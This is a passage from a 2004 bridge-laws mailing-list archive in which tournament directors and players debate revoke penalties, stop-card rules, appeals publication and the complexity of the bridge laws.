and players be unnecessarily placed in such invidious positions just because rule-makers regard their rules as sacrosanct? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From nigel.guthrie@ntlworld.com Tue Jul 6 18:37:53 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jul 2004 18:37:53 +0100 Subject: [blml] Reno regional appeal number four References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> Message-ID: <003c01c46380$1184dc20$469868d5@jeushtlj> [WILLIAM (Kojak) SCHRODER] > You got the wrong Kojak - I don't > even own a gun. In fact when you don't > call the TD in a pleasant manner (to > your opponents and the TD) and explain > that no damage has occurred you deny > me the opportunity to educate the > offender on the procedures for the use > of stop cards and possibly prevent > future problems for that individual. [Nigel] In the past, I suppose Kojak would have categorised me as a bridge-lawyer. I knew little about the law so I would call the TD to clarify the position, whenever I suspected an infraction. I still know little about the law but I have stopped calling the TD so often. This is partly because BLML TDs like Kojak and MadDog write so disparagingly about "bridge lawyers". Because Kojak judged an appellant to be a bridge-lawyer, he would have kept his deposit, even although other distinguished BLML jurists would have ruled in favour of the appellant! My allusion to gun-totin' comes from the same Kojak thread which included the following light-hearted quip.. > [Kojak] > When we played with wallets and guns > on the table in rubber bridge, this > would never have come up". --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From richard.hills@immi.gov.au Thu Jul 8 01:38:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jul 2004 10:38:52 +1000 Subject: [blml] A player's view Message-ID: Nigel Guthrie: [big snip] >the recommended TD practice >of asking "OK you've told me >the facts; now explain how >you were damaged". [big snip] Richard Hills: Recommended by whom? Law 81C6 states that the TD should normally, "rectify an error or irregularity of which he becomes aware in any manner". It is *not* best practice for only articulate experts to get redress (after itemising how they were damaged), while less articulate bunnies do not get redress (because they cannot fluently polemicise). Once all the facts are known to the TD, it is up to the TD to process those facts, and it is up to the TD to determine whether and how damage has occurred. (Of course, any TD worth their salt will choose to consult unbiased third parties on judgment issues.) Best wishes RJH From richard.hills@immi.gov.au Thu Jul 8 01:56:03 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jul 2004 10:56:03 +1000 Subject: [blml] Director, darling! Message-ID: In the thread "A player's view", Nigel Guthrie wrote: [snip] >Players are quite paranoid enough >without having to worry whenever >an opponent calls the TD and greets >him warmly by his Christian name. [snip] Richard Hills replies: Many years ago, top Aussie player Annie Grenside was playing in the Australian Women's Teams Championship. After an infraction occurred at the table, she raised her hand and called, "Director, darling!" It so happened that Australia's CTD at that time was Annie's then husband, Richard Grenside. :-) Of course, Richard Grenside gave a professional ruling, despite his then wife being an interested party. More recently, Nigel (and others) had some legitimate concerns about my TD ruling against another Canberra expert. (See the thread, "Penalised for not knowing your system".) It so happens that that ruling was another "Director, darling!" case, since the Canberra expert concerned is one of my regular team-mates. But being a regular team- mate did not prevent me giving him what he (and some blmlers) thought was the rough end of the pineapple. :-) Best wishes RJH From richard.hills@immi.gov.au Thu Jul 8 02:32:28 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jul 2004 11:32:28 +1000 Subject: [blml] A player's view Message-ID: Kojak: >>Of course I agree with Grattan. BUT -- I'm >>against changing the nature of the game by >>changing the intent of the laws. For example, >>it might be very much easier to have the >>revoke penalty be 2 tricks in all cases, but >>it would not serve the game as well in >>providing redress, equity, and a verifiable >>bridge score on a particular hand. [snip] Sven Pran: [snip] >The bonus for more than three undertricks not >vulnerable was also changed in 1987. Did the >change alter the nature of the game? Sure, it >made it much less interesting to sacrifice >against high contracts green vs. red. > >I am not sure that changing the revoke penalty >gained bridge, but changing the bonus for >undertricks certainly did. [snip] Richard Hills: I am pleased to note that there seems to be a consensus between two members of the Laws Drafting Sub-committee (Grattan and Kojak) that the format and language of the Laws should be improved. However, as Sven has pointed out, law changes have altered the nature of the game in the past, so I do not fully agree with Kojak's position that law changes should not alter the nature of the game in future. However, it seems that Kojak and I share common philosophical ground on one issue. In a choice between equity and simplicity, Kojak and I opt for equity. There are two ways for a Drafting Sub-Committee to slice mechanical penalties -> (a) Simple mechanical penalties. For example, pre-1987, the simple penalty that a declarer who has led from the wrong hand must lead the *same suit* from the right hand or (b) Complex equity penalties, with the punishment fitting the crime. Post-1987 (if defenders do not accept the wrong-hand lead), the equitable penalty that declarer may lead *any suit* from the right hand + some special additional wording to prevent Alcatraz Coups. This 1987 law change had a major effect on the nature of the game. Lucky NOS no longer gained a disproportionate benefit from a trivial error by the OS. In my opinion, however, this equity change to the nature of bridge was good news. Best wishes RJH From nigel.guthrie@ntlworld.com Thu Jul 8 03:05:10 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 8 Jul 2004 03:05:10 +0100 Subject: [blml] Reno regional appeal number four References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C09@lonsc-s-031.europe.shell.com> Message-ID: <003a01c46490$001bb2e0$289868d5@jeushtlj> [Frances Hinden] > I believe your oppo may have been > my husband & his partner whom I > have carefully trained in counting > out the full 10 seconds, however > long the stop card was there. > The hand over the 3S had nothing to > think about - an unethical player > would have passed _quickly_ with his > penalty double. > Anyway, in your place I'd have been > so embarrassed by my 3S bid that I > wouldn't have dared call the director! [Nigel] As originally reported, I (the jump bidder) underestimated ten seconds before removing the "stop" card. What can opponents do about this? As Frances suggests, LHO can count out the remaining seconds -- but that may spoil his concentration. It would be better if the jump-bidder's *RHO* took out *his* stop card and counted off the remaining seconds. Would that be legal? (of course, even better and much simpler would be a mechanical timing device). No. my pre-empt was uninsurable but it wasn't against Frances' illustrious husband! On the contrary, it was he who made a brave vulnerable 3D jump-overcall, against us, holding x Axx KQT953 83. We doubled it :) but found a misere defence to take it only one off :( I'm not surprised that, like me, Frances fails to report most "stop" regulation infractions. My bet is that under half of all legal infractions are reported. IMO, this is because when you call the director for a simple clarification, opponents often react as if you were accusing them of cheating. Why? (2) Opponents realise that even if the TD understands the rules and however patient he is, their own legal ignorance makes arguing their case difficult and they probably won't understand the ruling. (3) Every day they see TDs coming to different subjective judgements on identical facts. Kojak may think this dungeon-master role adds spice to the boring existence of TDs; and that justice is a worthy sacrifice to the God of "Equity". If the dice fall against a player, however, all he understands is that it is unfair. And, that the unfairness is usually unnecessary. The offending laws add interest to the job of the TD, but only confusion to the essence of the game that the player loves. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From john@asimere.com Thu Jul 8 03:54:23 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 8 Jul 2004 03:54:23 +0100 Subject: [blml] Reno regional appeal number four In-Reply-To: <003c01c46380$1184dc20$469868d5@jeushtlj> References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> <003c01c46380$1184dc20$469868d5@jeushtlj> Message-ID: In article <003c01c46380$1184dc20$469868d5@jeushtlj>, Nigel Guthrie writes >[WILLIAM (Kojak) SCHRODER] >> You got the wrong Kojak - I don't >> even own a gun. In fact when you don't >> call the TD in a pleasant manner (to >> your opponents and the TD) and explain >> that no damage has occurred you deny >> me the opportunity to educate the >> offender on the procedures for the use >> of stop cards and possibly prevent >> future problems for that individual. > >[Nigel] >In the past, I suppose Kojak would have >categorised me as a bridge-lawyer. >I knew little about the law so I would >call the TD to clarify the position, >whenever I suspected an infraction. >I still know little about the law but I >have stopped calling the TD so often. >This is partly because BLML TDs like Kojak >and MadDog write so disparagingly about >"bridge lawyers". Not particularly disparaging. I just have a very pragmatic approach to ruling the game. Mostly you should blame Kojak for that - he probably has no idea how much a couple of incidents when he was in charge made me realise what running the game is about - as I have enormous admiration for the way he rules the game (and it's almost nothing to do with his rulings on eg leads out of turn which, while correct, are crap). I learnt more in a couple of regionals with Kojak in charge of 20 tables than I ever learn in a 100 table 1-day Swiss with the EBU TD's running it. > Because Kojak judged >an appellant to be a bridge-lawyer, he >would have kept his deposit, even although >other distinguished BLML jurists would >have ruled in favour of the appellant! >My allusion to gun-totin' comes from the >same Kojak thread which included the >following light-hearted quip.. > >> [Kojak] >> When we played with wallets and guns >> on the table in rubber bridge, this >> would never have come up". > > > >--- >Outgoing mail is certified Virus Free. >Checked by AVG anti-virus system (http://www.grisoft.com). >Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Thu Jul 8 03:59:53 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 8 Jul 2004 03:59:53 +0100 Subject: [blml] A player's view In-Reply-To: <59AB96BE-D026-11D8-A854-0003936A6522@gordonrainsford.co.uk> References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> <59AB96BE-D026-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: In article <59AB96BE-D026-11D8-A854-0003936A6522@gordonrainsford.co.uk>, Gordon Rainsford writes > >On 7 Jul 2004, at 14:40, John (MadDog) Probst wrote: > >> We play football with an offside rule and baseball with the infield >> fly- >> ball rule, and as for leg before wicket at cricket ..... > >I would have expected you to know me well enough to know that these >sporting comparisons do nothing to assist me understand your point, >John. > >> Good games have >> complex rules. I don't think simplifying rules for the players follows >> Gordon. cheers john > >If it's unavoidable to have rules that the players can't be expected to >know, well... it's unavoidable, though it certainly seems undesirable >to me. But is that the case? > >I dislike the assumption that is sometimes exhibited on this mailing >list, and was in the original post to which I replied, that the game >revolves around the directors rather than the players. Whilst, at first reading, I thought this too, my second reading was that this was not Kojak's intent. His English is tainted with being an American, and sometimes one needs to dig around for the actual meaning. I do think that bridge *does* require complex mechanical Laws such as OLOOT and revoke, both of which IMO work an awful lot better post 1987 and other tinkerings which work better post 97. I also agree with Kojak that there are some laws which are so stuck together with Elastoplast (K, read BandAid) that one can't see the flesh for the lint. > >-- >Gordon Rainsford >London UK > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Thu Jul 8 04:08:52 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 8 Jul 2004 04:08:52 +0100 Subject: [blml] Director, darling! In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > > > >In the thread "A player's view", >Nigel Guthrie wrote: > >[snip] > >>Players are quite paranoid enough >>without having to worry whenever >>an opponent calls the TD and greets >>him warmly by his Christian name. > >[snip] > >Richard Hills replies: > >Many years ago, top Aussie player >Annie Grenside was playing in the >Australian Women's Teams Championship. >After an infraction occurred at the >table, she raised her hand and called, >"Director, darling!" > >It so happened that Australia's CTD at >that time was Annie's then husband, >Richard Grenside. > >:-) > >Of course, Richard Grenside gave a >professional ruling, despite his then >wife being an interested party. > >More recently, Nigel (and others) had >some legitimate concerns about my TD >ruling against another Canberra expert. >(See the thread, "Penalised for not >knowing your system".) It so happens >that that ruling was another "Director, >darling!" case, since the Canberra >expert concerned is one of my regular >team-mates. But being a regular team- >mate did not prevent me giving him what >he (and some blmlers) thought was the >rough end of the pineapple. Yeah, can you imagine the effect of "DA-----DDY!" across a 100-table Swiss? The whole friggin room erupts. He usually takes my rulings to appeal on various grounds: 1) He hates me 2) He's clueless 3) He always rules against me. OMG, I hate children, they should be stuck in a barrel and fed through the bung-hole from birth. At about age 17 I recommend driving in the cork. John > >:-) > >Best wishes > >RJH > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ereppert@rochester.rr.com Thu Jul 8 04:39:19 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 7 Jul 2004 23:39:19 -0400 Subject: [blml] Director, darling! In-Reply-To: Message-ID: <64FA9703-D090-11D8-80B8-0030656F6826@rochester.rr.com> On Wednesday, Jul 7, 2004, at 23:08 US/Eastern, John (MadDog) Probst wrote: > OMG, I hate children, they should be stuck in a barrel and fed through > the bung-hole from birth. At about age 17 I recommend driving in the > cork. W.C. Fields, iirc. :-) From john@asimere.com Thu Jul 8 04:49:41 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 8 Jul 2004 04:49:41 +0100 Subject: [blml] Director, darling! In-Reply-To: <64FA9703-D090-11D8-80B8-0030656F6826@rochester.rr.com> References: <64FA9703-D090-11D8-80B8-0030656F6826@rochester.rr.com> Message-ID: In article <64FA9703-D090-11D8-80B8-0030656F6826@rochester.rr.com>, Ed Reppert writes > >On Wednesday, Jul 7, 2004, at 23:08 US/Eastern, John (MadDog) Probst >wrote: > >> OMG, I hate children, they should be stuck in a barrel and fed through >> the bung-hole from birth. At about age 17 I recommend driving in the >> cork. > >W.C. Fields, iirc. :-) yep > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From schoderb@msn.com Thu Jul 8 13:02:23 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Thu, 8 Jul 2004 08:02:23 -0400 Subject: [blml] A player's view References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <000201c46481$d0241180$289868d5@jeushtlj> Message-ID: I can't help thinking of golf, at its various levels of play and expertise, while reading this. Seems to me their rule book is a lot thicker than our Law book. And, I fully agree that the bridge lawyers have an advantage - as did Tiger Woods when he got a small army to help him move a big rock. =K= ----- Original Message ----- From: "Nigel Guthrie" To: "BLML" Sent: Wednesday, July 07, 2004 1:12 PM Subject: Re: [blml] A player's view > [WILLIAM (Kojak) SCHODER] > Sorry to disagree. I'll be a polite > as I can. The laws are not FOR the > players -- they are for the game. > > [Nigel] > Thank you, Kojak, for this clarification. > I agree the laws are incomprehensible to > most players; but I fear that few TDs > understand them either. > > Players don't understand why the laws > must be so ambiguous, subjective, complex > and parochial. Comparisons with fiscal or > criminal law are inappropriate. > Bridge is a *game*. The exigencies of > ordinary life need impose few restrictions > on the laws of a *game*. Provided the game > is unimpaired, harmonisation and > simplification are welcome to players. > > A major problem with complex subjective > laws is that it gives legal experts an > appreciable edge at the table -- not as > significant as bidding or play skills -- > but it can still be decisive. This > ludicrous and unnecessary situation is > made worse by the recommended TD practice > of asking "OK you've told me the facts; > now explain how you were damaged". > Experienced but legally naive players > may explain "Well LHO hesitated a long > time before bidding", only to be told > that "Giving unauthorised information > is not an offence". At best this is a > waste of time but, anyway, a legal > expert is always better at explaining > damage or exploiting arcane > interpretations and obscure minutes. > At any game, it pays to know the rules > but for Bridge players this is becoming > an ever more onerous task, as they > become more subjective and concerned > with a completely spurious "equity". > > Subjective laws exacerbate problems of > inequitablity and inconsistency. Players > are quite paranoid enough without having > to worry whenever an opponent calls the > TD and greets him warmly by his Christian > name. I've even heard explanations of > some strange international AC rulings, in > terms of the relationship or the > appellants to the AC. > > Even when TDs are completely unbiased, > subjective judgements are more unreliable > than objective judgements, by their very > nature. > > Obviously, subjectivity can't be eliminated. > But, for example, too many laws require the > TD to guess a player's skills or intentions. > How is a TD expected to apply such laws > when dealing with friends, enemies or, even > more difficult, strangers. > > Must TDs and players be unnecessarily > placed in such invidious positions > just because rule-makers regard their > rules as sacrosanct? > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From schoderb@msn.com Thu Jul 8 13:12:59 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Thu, 8 Jul 2004 08:12:59 -0400 Subject: [blml] A player's view References: Message-ID: Of course there have been changes to the nature of the game over the years, and they have proven to be beneficial. However, they occurred after much soul searching, discussion, analysis, and to protect the game from it's own deficiencies. It is those substantive changes whose sole purpose is to make the Laws easier for the TD, AC, and players that I object to. A particular point of law is either good or bad -- but not so solely because it is difficult. =K= ----- Original Message ----- From: To: Sent: Wednesday, July 07, 2004 9:32 PM Subject: Re: [blml] A player's view > > > > > Kojak: > > >>Of course I agree with Grattan. BUT -- I'm > >>against changing the nature of the game by > >>changing the intent of the laws. For example, > >>it might be very much easier to have the > >>revoke penalty be 2 tricks in all cases, but > >>it would not serve the game as well in > >>providing redress, equity, and a verifiable > >>bridge score on a particular hand. > > [snip] > > Sven Pran: > > [snip] > > >The bonus for more than three undertricks not > >vulnerable was also changed in 1987. Did the > >change alter the nature of the game? Sure, it > >made it much less interesting to sacrifice > >against high contracts green vs. red. > > > >I am not sure that changing the revoke penalty > >gained bridge, but changing the bonus for > >undertricks certainly did. > > [snip] > > Richard Hills: > > I am pleased to note that there seems to be a > consensus between two members of the Laws > Drafting Sub-committee (Grattan and Kojak) that > the format and language of the Laws should be > improved. > > However, as Sven has pointed out, law changes > have altered the nature of the game in the past, > so I do not fully agree with Kojak's position > that law changes should not alter the nature of > the game in future. > > However, it seems that Kojak and I share common > philosophical ground on one issue. In a choice > between equity and simplicity, Kojak and I opt > for equity. > > There are two ways for a Drafting Sub-Committee > to slice mechanical penalties -> > > (a) Simple mechanical penalties. For example, > pre-1987, the simple penalty that a declarer > who has led from the wrong hand must lead the > *same suit* from the right hand > > or > > (b) Complex equity penalties, with the punishment > fitting the crime. Post-1987 (if defenders do > not accept the wrong-hand lead), the equitable > penalty that declarer may lead *any suit* from > the right hand + some special additional wording > to prevent Alcatraz Coups. > > This 1987 law change had a major effect on the > nature of the game. Lucky NOS no longer gained a > disproportionate benefit from a trivial error by > the OS. > > In my opinion, however, this equity change to the > nature of bridge was good news. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From axman22@hotmail.com Thu Jul 8 14:28:52 2004 From: axman22@hotmail.com (Roger Pewick) Date: Thu, 8 Jul 2004 08:28:52 -0500 Subject: [blml] A player's view References: Message-ID: ----- Original Message ----- From: To: Sent: Wednesday, July 07, 2004 20:32 PM Subject: Re: [blml] A player's view > Kojak: > > >>Of course I agree with Grattan. BUT -- I'm > >>against changing the nature of the game by > >>changing the intent of the laws. For example, > >>it might be very much easier to have the > >>revoke penalty be 2 tricks in all cases, but > >>it would not serve the game as well in > >>providing redress, equity, and a verifiable > >>bridge score on a particular hand. > > [snip] > > Sven Pran: > > [snip] > > >The bonus for more than three undertricks not > >vulnerable was also changed in 1987. Did the > >change alter the nature of the game? Sure, it > >made it much less interesting to sacrifice > >against high contracts green vs. red. > > > >I am not sure that changing the revoke penalty > >gained bridge, but changing the bonus for > >undertricks certainly did. > > [snip] > > Richard Hills: > > I am pleased to note that there seems to be a > consensus between two members of the Laws > Drafting Sub-committee (Grattan and Kojak) that > the format and language of the Laws should be > improved. > > However, as Sven has pointed out, law changes > have altered the nature of the game in the past, > so I do not fully agree with Kojak's position > that law changes should not alter the nature of > the game in future. > > However, it seems that Kojak and I share common > philosophical ground on one issue. In a choice > between equity and simplicity, Kojak and I opt > for equity. > > There are two ways for a Drafting Sub-Committee > to slice mechanical penalties -> > > (a) Simple mechanical penalties. For example, > pre-1987, the simple penalty that a declarer > who has led from the wrong hand must lead the > *same suit* from the right hand > > or > > (b) Complex equity penalties, with the punishment > fitting the crime. Post-1987 (if defenders do > not accept the wrong-hand lead), the equitable > penalty that declarer may lead *any suit* from > the right hand + some special additional wording > to prevent Alcatraz Coups. > This 1987 law change had a major effect on the > nature of the game. Lucky NOS no longer gained a > disproportionate benefit from a trivial error by > the OS. I take issue with the characterization that the POOT remedies are equitable, or merely more equitable. Acting out of turn is not a trivial error and is hardly innocuous. One should notice when examining an out of turn action that it cheats an opponent out of his rightful turn and the rightful and timely information to which his partner is entitled. And it provides the offending side information to which they are not entitled*. Out of turn actions can gain six or more tricks that could not otherwise be had by legal action alone. I am sure that many feel that treating one player differently from another without a compelling reason is the equitable thing to do but I am not counted among them. If the measure of the remedy does not compensate sufficiently, far from being discouraged the offender's behavior is encouraged** when there is profit in it. And there is the irritation and distraction of going through the remedy process for those repeat offenders who have 'learned consciously or subconsciously' the shot is a free one. Such players have a real edge over the ones that play by the 'rules'. Meaning that since it is in the rules it can be exploited. * for instance, consider the information from the action itself; also, information from the opponents' reactions ** I have witnessed declarers acting out of turn three times to the same trick, not to mention ten times in the course of a hand regards roger pewick Houston > In my opinion, however, this equity change to the > nature of bridge was good news. > > Best wishes > > RJH From ljtrent@adelphia.net Thu Jul 8 22:09:20 2004 From: ljtrent@adelphia.net (Linda Trent) Date: Thu, 8 Jul 2004 14:09:20 -0700 Subject: [blml] The Future of ACBL Casebooks In-Reply-To: <003501c45fc2$2782e380$6401a8c0@san.rr.com> Message-ID: >>There was the case once in which a lady pro, embarrassed by >>a meritless >>appeal that her client insisted on, asked that the case not >>be published >>in the DB. Since the case had no interest at all, omitting >>it was not a >>great crime. It was in the casebook, of course. >> >>Marv >>Marvin L. French >>San Diego, California That never happened --- if the lady pro was so embarrassed she should have insisted the appeal not be brought. And I think i know the exact appeal you mean. Rich or I would not allow that to happen. She could ask all she wanted and we would have ignored her. Any appeal that didn't appear was a matter of me getting the appeal write-ups through the process and having a couple days to enjoy playing bridge. There is only one case to my recollection that was not published in the Daily Bulletin in the 13 years I was involved in the process. It was because such a bad decision was made by the committee that Rich and I felt it would be harmful to players reading the appeal with no surrounding commentary. Under the new system proposed I expect it will happen all the time. Linda --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.716 / Virus Database: 472 - Release Date: 7/5/2004 From linda@youhold.org Thu Jul 8 22:22:46 2004 From: linda@youhold.org (Linda Trent) Date: Thu, 8 Jul 2004 14:22:46 -0700 Subject: [blml] Individual Movement Message-ID: This is not a laws issue but I figure you are the folks that can help me. We are having a pro-am and want to seed the field such that North's are the 1 (highest) seeds, East is the 4 seed, South is the 3 seed and West the 2 seeds. Is it possible to do that for any number of tables having 2 board rounds where East and South switch after the first board and the North and West players are always that direction after the moves? Or better yet North and West were stationary, Second best would be having North stationary. I tried reading the ACBL Score Individual movements and that completely confused me. Thanks Linda --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.716 / Virus Database: 472 - Release Date: 7/5/2004 From adam@tameware.com Fri Jul 9 02:27:20 2004 From: adam@tameware.com (Adam Wildavsky) Date: Thu, 8 Jul 2004 21:27:20 -0400 Subject: [blml] The Future of ACBL Casebooks In-Reply-To: References: Message-ID: At 1:19 PM -0400 6/26/04, Adam Wildavsky wrote: >The agenda for the ACBL Board of Directors summer 2004 meeting is posted here: > > http://www.acbl.org/documentlibrary/about/nyjournal.pdf > >Item 032-114 addresses publication of appeals from NABCs. Minutes are not yet available but I'm told that the proposal was withdrawn. -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From hans-olof.hallen@bolina.hsb.se Fri Jul 9 07:53:28 2004 From: hans-olof.hallen@bolina.hsb.se (=?iso-8859-1?Q?Hans-Olof_Hall=E9n?=) Date: Fri, 9 Jul 2004 08:53:28 +0200 Subject: [blml] Individual movements Message-ID: <002501c46581$70a27ca0$9423b5d4@swipnet.se> I recommend Linda to read the book "Movements". There is a summary on = page 395f for all number of players. If you want more information you = can mail me at hans-olof.hallen@bolina.hsb.se Yours etc Hans-Olof Hall=E9n From richard.hills@immi.gov.au Fri Jul 9 08:18:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 9 Jul 2004 17:18:38 +1000 Subject: [blml] A player's view Message-ID: Kojak: >Of course there have been changes to the >nature of the game over the years, and >they have proven to be beneficial. >However, they occurred after much soul >searching, discussion, analysis, and to >protect the game from it's own >deficiencies. > >It is those substantive changes whose >sole purpose is to make the Laws easier >for the TD, AC, and players that I object >to. A particular point of law is either >good or bad -- but not so solely because >it is difficult. > >=K= Richard Hills: Again it seems that Kojak and I are broadly in philosophical agreement. In my opinion, we differ only upon nuance. In general, there are two differing ways that a TD can rectify an irregularity: (a) an equitable award of an adjusted score, or, (b) a mechanical application of a procedure specifically laid out in the Laws. Now, if making life easier for TDs, ACs and players was an *irrelevant* consideration, then the 2006 Laws should contain *only one* method of rectifying an irregularity - an adjusted score pursuant to the 2006 version of Law 12C3. This difficult solution would waste and unnecessary amounts of time for TDs, ACs, and players. Therefore, some mechanical penalties need to be retained. By their very nature, mechanical penalties cannot provide universal equity. All that can be done to mitigate the inequity of mechanical penalties is to ensure that the non-offending side are not disadvantaged. Hence, the safety-net of Law 12A1, Law 23 and Law 72B1. On the particular issue of revokes, the non- offending side has a guarantee of *at least* equity due to the safety-net of Law 64C. So, the priority in designing the residual and mechanical non-Law 64C revoke rules is to ensure that the mechanics give some sort of rough justice to the offending side. Arbitrarily awarding a minimum of a two-trick revoke penalty against the offending side was inequitable pre-1975. The 1975-1987 regime of penalising the OS two tricks if they won the revoke trick, and one trick otherwise, had the dual advantages of both satisfying rough justice to the OS, and also being easy for the average club TD to apply. Many club TDs cannot waste time with overly elaborate revoke rulings, since they are often required to partner a spare wheel. But the 1987-2005 regime of numerous sub-cases and clausal exceptions in the revoke rules wastes huge amounts of time for grassroot TDs and grassroot players. And the 1987-2005 regime of revoke rules only marginally improves the rough justice given to the OS to compensate for the time lost. "A particular point of law is either good or bad -- but not so solely because it is difficult." I emphasise the qualifier "solely". If two formulations lead to similar results, but one slightly disadvantages the offending side while gaining simplicity, then I argue that *much* greater simplicity outweighs a *slight* inequity to the OS. Therefore, I recommend that the WBF LC Drafting Sub-Committee consider restoring the 1975-1987 revoke rules in 2006. Best wishes RJH From schoderb@msn.com Fri Jul 9 13:10:29 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Fri, 9 Jul 2004 08:10:29 -0400 Subject: [blml] A player's view References: Message-ID: So we do find an area of agreement. It is your avoidance of using the word "penalty" in your a,b, listing that I most agree with. An adjustment, rectification, change of score, etc., can be a mechanical thing, as the revoke law NOW is -- requiring the minimal ability to read a recipe (which can be better worded) but not a penalty. In rectifying (I prefer this word over others) an irregularity the infractor receives no benefit, may lose tricks, options of bidding or play, or pay for his/her infraction in some manner. Some rectifications require judgement to be applied, and that is the nature of the game, and a legitimate provision. I reject the idea that a legitimate reason for doing less-than-the-best is that it takes time. It does require knowledge, intelligence, and desire to do things right. =K= ----- Original Message ----- From: To: Sent: Friday, July 09, 2004 3:18 AM Subject: Re: [blml] A player's view > > > > > Kojak: > > >Of course there have been changes to the > >nature of the game over the years, and > >they have proven to be beneficial. > >However, they occurred after much soul > >searching, discussion, analysis, and to > >protect the game from it's own > >deficiencies. > > > >It is those substantive changes whose > >sole purpose is to make the Laws easier > >for the TD, AC, and players that I object > >to. A particular point of law is either > >good or bad -- but not so solely because > >it is difficult. > > > >=K= > > Richard Hills: > > Again it seems that Kojak and I are broadly > in philosophical agreement. In my opinion, > we differ only upon nuance. > > In general, there are two differing ways > that a TD can rectify an irregularity: > > (a) an equitable award of an adjusted score, > > or, > > (b) a mechanical application of a procedure > specifically laid out in the Laws. > > Now, if making life easier for TDs, ACs and > players was an *irrelevant* consideration, > then the 2006 Laws should contain *only one* > method of rectifying an irregularity - an > adjusted score pursuant to the 2006 version > of Law 12C3. > > This difficult solution would waste and > unnecessary amounts of time for TDs, ACs, and > players. > > Therefore, some mechanical penalties need to > be retained. By their very nature, mechanical > penalties cannot provide universal equity. > All that can be done to mitigate the inequity > of mechanical penalties is to ensure that the > non-offending side are not disadvantaged. > > Hence, the safety-net of Law 12A1, Law 23 and > Law 72B1. > > On the particular issue of revokes, the non- > offending side has a guarantee of *at least* > equity due to the safety-net of Law 64C. > > So, the priority in designing the residual > and mechanical non-Law 64C revoke rules is to > ensure that the mechanics give some sort of > rough justice to the offending side. > > Arbitrarily awarding a minimum of a two-trick > revoke penalty against the offending side was > inequitable pre-1975. > > The 1975-1987 regime of penalising the OS two > tricks if they won the revoke trick, and one > trick otherwise, had the dual advantages of > both satisfying rough justice to the OS, and > also being easy for the average club TD to > apply. Many club TDs cannot waste time with > overly elaborate revoke rulings, since they > are often required to partner a spare wheel. > > But the 1987-2005 regime of numerous sub-cases > and clausal exceptions in the revoke rules > wastes huge amounts of time for grassroot TDs > and grassroot players. And the 1987-2005 > regime of revoke rules only marginally > improves the rough justice given to the OS to > compensate for the time lost. > > "A particular point of law is either good or > bad -- but not so solely because it is > difficult." > > I emphasise the qualifier "solely". If two > formulations lead to similar results, but one > slightly disadvantages the offending side > while gaining simplicity, then I argue that > *much* greater simplicity outweighs a 